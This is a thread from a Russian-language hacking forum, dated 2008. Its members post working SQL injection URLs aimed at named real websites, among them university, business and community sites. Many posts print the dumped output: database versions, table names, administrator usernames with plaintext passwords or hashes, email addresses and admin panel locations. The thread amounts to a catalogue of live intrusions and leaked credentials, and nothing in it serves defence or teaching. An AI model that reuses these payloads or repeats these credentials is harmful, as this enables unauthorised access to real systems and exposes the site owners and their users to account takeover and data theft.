SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    также там есть :
    http://hairbeauty.ru/info.php - phpinfo
    http://hairbeauty.ru/stat/setup/index.php - установка скрипта ))
     
    1 person likes this.
  2. Listen

    Listen New Member

    Joined:
    13 Jan 2008
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    ----
     
    #4482 Listen, 13 Jan 2008
    Last edited: 4 May 2014
  3. K1nD[e]R

    K1nD[e]R Banned

    Joined:
    16 Jun 2007
    Messages:
    159
    Likes Received:
    127
    Reputations:
    0
    Code:
    http://grabli.net/plug.php?p=horo&sd=0&ed=0&zid=5+union+select+version(),table_name+from+information_schema.columns+where+column_name=0x70617373776f7264/*
    Version : 5.0.32-Debian_7etch1/root@localhost/grabli

    Code:
    users
    gateway_pop_accounts
    tech
    user
    probid_admins
    probid_users
    phpads_affiliates
    bhost_admin
    bhost_log
    bhost_users
    bnt_ships
    Admins
    Profiles
    aff
    moderators
    admin
    ftp
    ibf_forums
    ipb_forums
    jos_users
    dwm-pop3
    dwm-users
    osdate_admin
    osdate_affiliates
    osdate_user
    1_alliances
    new
    top_new
    accounts
    dle_users
     
    #4483 K1nD[e]R, 13 Jan 2008
    Last edited: 13 Jan 2008
    2 people like this.
  4. BizzyD

    BizzyD Elder - Старейшина

    Joined:
    2 Jun 2007
    Messages:
    209
    Likes Received:
    118
    Reputations:
    0
    Code:
    http://www.lindenbayromance.com/product_details.php?product_id=99999+union+select+1,2,user_name,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+admin/*
    root@localhost:lndenbayromance:4.1.22-standard

    root:ladybug

    admin:newbeginnings


    Code:
    http://www.iirr.org/bookstore/index.php?product_id=99999+union+select+1,2,3,4,5,6,7,8,9,10,11/*
    [email protected]:iirrbookstore:4.0.15-standard
     
    #4484 BizzyD, 13 Jan 2008
    Last edited: 13 Jan 2008
    1 person likes this.
  5. Leone_510

    Leone_510 Banned

    Joined:
    5 Jan 2008
    Messages:
    25
    Likes Received:
    5
    Reputations:
    0
    wow.metrolife.ru

    http://wow.metrolife.ru/armory/index.php?act=charsearch

    в поиске: abc')+union+select+1,2,3,concat(user,0x3b,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33+from+mysql.user/*
     
    2 people like this.
  6. А®ТеS

    А®ТеS Active Member

    Joined:
    25 Nov 2006
    Messages:
    198
    Likes Received:
    193
    Reputations:
    41
    http://www.thelearningedge.com.au/
    Code:
    http://www.thelearningedge.com.au/products.php?id=-1+UNION+SELECT+1,2,concat_ws(0x3A,userid,firstname,lastname,username,userpassword,lastloggedin,type),4,5+FROM+productionwww.ADMIN+LIMIT+0,1/*
    
    Австралия, Google PR 5!
     
  7. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    5 верстка ...
    от админки форума phpbb..
    http://www.onlinegooner.com/phpbb2/admin
    robburne:arsen10
    ----------------------------------------------------------------------
    5 верстка ...
    ----------------------------------------------------------------------
    5.0.22
    addokufuor:skyLab
    сбда не подходит ((
    http://www.ayaconsult.com/admin/index.php
     
    3 people like this.
  8. Maxyks

    Maxyks Banned

    Joined:
    8 Sep 2007
    Messages:
    174
    Likes Received:
    288
    Reputations:
    20
    -17+union+select+concat_ws(0x3a,username,password,email),2,3,4,5,6,7,8,9,0,11,2,3,14,5,6,7+from+adminusers/*
    raskorli:ayaconsult12:[email protected]
    amoako:ayaconsult12:[email protected]
     
    5 people like this.
  9. A2GIL

    A2GIL Elder - Старейшина

    Joined:
    31 Aug 2007
    Messages:
    84
    Likes Received:
    59
    Reputations:
    -3
    http://news.mc.duke.edu/news/article.php?id=10200%20and%201=2%20union%20all%20%20select%201,2,3,4,5,concat(user,char(58),password,char(58)),7,8%20from%20mysql.user/*

    root:623460e26f081bbc
    web:761b2fc844890384

    Хеши расшифровать не удалось :(
     
  10. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    http://www.babwnews.com/article.php?id=-807+union+select+1,2,3,4,5,concat_ws(0x2f,version(),user(),database()),7,8,9,10,11,12,13,14,15,16/*
    4.1.22-standard/babw4_admin@localhost/babw4_A31511
    -----------------------------------------------------------------------
    http://www.teamfishcake.co.uk/article.php?id=-1+union+select+1,concat_ws(0x2f,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/*
    4.0.27/teamfish_db@localhost/teamfish_site
    -----------------------------------------------------------------------
    http://www.tayport.org.uk/article.php?id=-75+union+select+1,concat_ws(0x2f,version(),user(),database()),3,4,5/*
    4.1.20/tayportuk@localhost/tayportuk
    -----------------------------------------------------------------------
    http://www.basem.co.uk/article.php?id=-354+union+select+1,2,3,4,5,6,concat_ws(0x2f,version(),user(),database()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61/*
    5.0.45-log/[email protected]/basem_m2007
    Все таблицы:
    http://www.basem.co.uk/article.php?id=-354+union+select+1,2,3,4,5,6,table_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61+from+information_schema.tables/*
    Все колонки:
    http://www.basem.co.uk/article.php?id=-354+union+select+1,2,3,4,5,6,column_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61+from+information_schema.columns/*
    Есть таблица members
    В ней есть полезные колонки:
    id
    email
    password

    http://www.basem.co.uk/article.php?id=-354+union+select+1,2,3,4,5,6,concat_ws(0x3a,id,email,password),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61+from+members/*
    Еще есть таблица poll_user
    В ней полезные колонки
    user_id
    username
    userpass

    http://www.basem.co.uk/article.php?id=-354+union+select+1,2,3,4,5,6,concat_ws(0x2f,user_id,username,userpass),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61+from+poll_user/*
    1/admin/21232f297a57a5a743894a0e4a801fc3- admin
    Админка: http://basem.co.uk/admin/
    Но пароль не подходит((
     
    #4490 Tigger, 13 Jan 2008
    Last edited: 13 Jan 2008
    3 people like this.
  11. Welemir

    Welemir Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    229
    Likes Received:
    11
    Reputations:
    -4

    я их уже сто лет как выложил:Р
     
  12. Maxyks

    Maxyks Banned

    Joined:
    8 Sep 2007
    Messages:
    174
    Likes Received:
    288
    Reputations:
    20
    Code:
    http://www.basem.co.uk/article.php?id=-354+union+select+1,2,3,4,5,6,concat_ws(0x3a,username,password,email),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61+from+settings+limit+0,1/*
    admin:basemc3ntral1:[email protected]
    feeadmin:feeadmin3rr:[email protected]
    detailsadmin:detailsadmin123:[email protected]
     
    3 people like this.
  13. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    http://www.electrob.ru/news.php?act=by_id&news_id=-1+union+select+concat_ws(0x2F,version(),database(),user()),2/*

    4.1.22/site_electrob/electrob@localhost

    ----------------------------------------------------------------------------

    http://www.tfdecor.ru/news/index.php?id=-1+union+select+1,2,3,concat_ws(0x2F,version(),database(),user())/*

    4.1.21-log/db00105457/00105457@localhost
    ----------------------------------------------------------------------------

    liki.in.ua


    http://liki.in.ua/index.html?r=4&nov=-1+union+select+1,2,concat_ws(0x2F,version(),database(),user()),4,5,6,7/*

    5.0.45-log/liki/root@localhost



    http://liki.in.ua/index.html?r=4&nov=-1+union+select+1,2,concat_ws(0x2F,user_login,user_pass,user_email),4,5,6,7+from+3dom.wp_users+limit+0,1/*

    логин/хеш/мейл
    admin/b225a89b54f9b8df014a7a1a9a997f58/[email protected]
     
    3 people like this.
  14. BizzyD

    BizzyD Elder - Старейшина

    Joined:
    2 Jun 2007
    Messages:
    209
    Likes Received:
    118
    Reputations:
    0
    Code:
    http://www.moiki.net/articles.php?id=99999+union+select+table_name,2+from+INFORMATION_SCHEMA.TABLES/*
    lucifer542_moi@localhost:lucifer542_moi:5.0.45-community
     
  15. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    http://www.logotypes.com.ua/category.php?id=-1+union+select+1,concat_ws(0x2f,version(),user(),database())/*
     
    1 person likes this.
  16. it's my

    it's my Banned

    Joined:
    29 Sep 2007
    Messages:
    335
    Likes Received:
    347
    Reputations:
    36
    www.m-economy.ru - Журнал Проблемы современной экономики
    Code:
    http://www.m-economy.ru/index.php3?rub=999+union+select+0,1,table_name,user(),4,5,6,7,8,version(),10,11,12,13,14,15,16,17,18,19,20,21,21,22,23,24,25,26,27,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+INFORMATION_SCHEMA.TABLES/*
    
    5.0.45-log
    [email protected]
    www.emo.de - фирма какая-то
    Code:
    http://www.emo.de/de/index.php?news_id=-1+union+select+0,1,2,3,concat(version(),%22;%22,user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18/*
    
    DB_NAME: db_20022_0001
    DB_HOST: localhost
    DB_USER: db_20022_0001
     
    #4496 it's my, 14 Jan 2008
    Last edited: 14 Jan 2008
    3 people like this.
  17. sedoy_xxx

    sedoy_xxx Elder - Старейшина

    Joined:
    5 Jul 2006
    Messages:
    244
    Likes Received:
    41
    Reputations:
    -1
    http://cgsc2.biology.yale.edu/
    Code:
    http://cgsc2.biology.yale.edu/Strain.php?ID=-68076+union+select+1,concat_ws(0x3a,user(),database(),version(),@@version_compile_os),3,4,5,6/*
    user():WebUser@localhost
    database():cgsc
    version():5.0.27-standard-log
    @@version_compile_os:apple-darwin8.5.1
    root:1FAF9E2DAABFA7B67F973E07733089BFEECC5CA2
     
    1 person likes this.
  18. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    http://www.attik.ru/news.php?id=-1+union+select+1,2,3,4,concat_ws(0x2F,cast(version()+as+binary),cast(database()+as+binary),cast(user()+as+binary)),6/*

    4.1.14-standard-log/u00043_attik/u00043_attik@localhost
    -----------------------------------------------------------------------------

    http://varga.narkote.net/news.php?id=-1+union+select+1,2,concat_ws(0x2F,cast(version()+as+binary),cast(database()+as+binary),cast(user()+as+binary)),4,5,6,7/*

    4.1.16-standard-log/povedenie/[email protected]

    -----------------------------------------------------------------------------

    http://www.nobilemebel.ru/index.asp?file=link&idLink=-1+or+1=@@version--

    Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

    http://www.nobilemebel.ru/index.asp?file=link&idLink=-1+or+1=(select+db_name())--

    nobile

    http://www.nobilemebel.ru/index.asp?file=link&idLink=-1+or+1=(select+system_user)--

    nobile
     
    1 person likes this.
  19. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    http://www.forturist.com/show_new.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x2F,version(),database(),user())/*

    4.1.22-standard-log/vladim_forturist/vladim_07usertur@localhost
    ----------------------------------------------------------------------------

    carlson.ru


    http://carlson.ru/news/view.php?id=-1'+union+select+1,2,3,4,5,concat_ws(0x2F,cast(version()+as+binary),cast(database()+as+binary),cast(user()+as+binary)),7,8,9/*

    4.1.14-standard/carlsonru/carlsonru@localhost



    http://carlson.ru/news/view.php?id=-1'+union+select+1,2,3,4,5,concat_ws(0x2F,email,passkey),7,8,9+from+users+limit+12000,1/*

    мейл/пароль
    [email protected]/RPJCNJ74
     
    6 people like this.
  20. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    elmu.aspu.ru - Астраханский государственный университет, Учебно-научная лаборатория "Познание человека"
    Code:
    http://elmu.aspu.ru/?news=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4/*
    4.1.22-log:elmu:webmaster@localhost

    eteplo.ru - Торгово-строительная компания "КМ-СЕРВИС"
    Code:
    http://eteplo.ru/index.php?act=system&id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5/*
    4.1.22:eteplo:eteplo@localhost

    Подобрал табы: news,cable,tech

    wfga.net - The Washington Fish Growers Association
    Code:
    http://www.wfga.net/print.php?a=news&printid=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12/*
    5.0.45-community:wfgaswe1_wfga:wfgaswe1_webacce@localhost

    Табы:
    Code:
    DBSecurity,Events,Issues,Mailing_Cache,Members_Only,News_Articles,News_Galleries,Polls,Related_Articles,Site_Links,Tags,Templates,Tough_Domains,Updates_Subscribers
    В табе DBSecurity поля:
    Code:
    ID,username,password
    Админка здесь:
    Code:
    http://www.wfga.net/admin/
    Админ [логин:пасс] :
    Code:
    wfga:viking2
    -----------------------------------------------------------------

    Grey:

    ------------Выкладывать шеллы в паблик нельзя------------
     
    #4500 fRg, 15 Jan 2008
    Last edited by a moderator: 15 Jan 2008
    6 people like this.
Thread Status:
Not open for further replies.